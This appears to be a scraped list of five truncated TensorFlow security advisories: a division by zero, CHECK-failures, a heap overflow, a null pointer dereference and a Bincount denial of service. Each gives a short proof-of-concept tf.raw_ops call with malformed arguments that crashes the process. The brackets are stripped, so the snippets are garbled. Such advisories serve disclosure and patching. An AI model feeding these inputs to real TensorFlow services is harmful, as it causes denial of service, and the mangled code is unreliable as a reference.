Division by zero in Tensorflow

Impact The implementation of FractionalMaxPool can be made to crash a TensorFlow process via a division by 0: python import tensorflow as tf import numpy as np tf.rawops.FractionalMaxPool value=tf.constantvalue=1, 4, 2, 3, dtype=tf.int64, poolingratio=1.0, 1.44, 1.73, 1.0, pseudorandom=False,...

`CHECK`-failures in Tensorflow

Impact The implementation of MapStage is vulnerable a CHECK-fail if the key tensor is not a scalar: python import tensorflow as tf import numpy as np tf.rawops.MapStage key = tf.constantvalue=4, shape= 1,2, dtype=tf.int64, indices = np.array6, values = np.array-60, dtypes = tf.int64, capacity=0,...

Heap overflow in Tensorflow

Impact The implementation of SparseCountSparseOutput is vulnerable to a heap overflow: python import tensorflow as tf import numpy as np tf.rawops.SparseCountSparseOutput indices=-1,-1, values=2, denseshape=1, 1, weights=1, binaryoutput=True, minlength=-1, maxlength=-1, name=None Patches We have...

Null pointer dereference in TensorFlow

Impact The implementation of QuantizedMaxPool has an undefined behavior where user controlled inputs can trigger a reference binding to null pointer. python import tensorflow as tf tf.rawops.QuantizedMaxPool input = tf.constant4, dtype=tf.quint8, mininput = , maxinput = 1, ksize = 1, 1, 1, 1,...

Assertion failure based denial of service in Tensorflow

Impact The implementation of Bincount operations allows malicious users to cause denial of service by passing in arguments which would trigger a CHECK-fail: python import tensorflow as tf tf.rawops.DenseBincount input=0, 1, 2, size=1, weights=3,2,1, binaryoutput=False There are several conditions...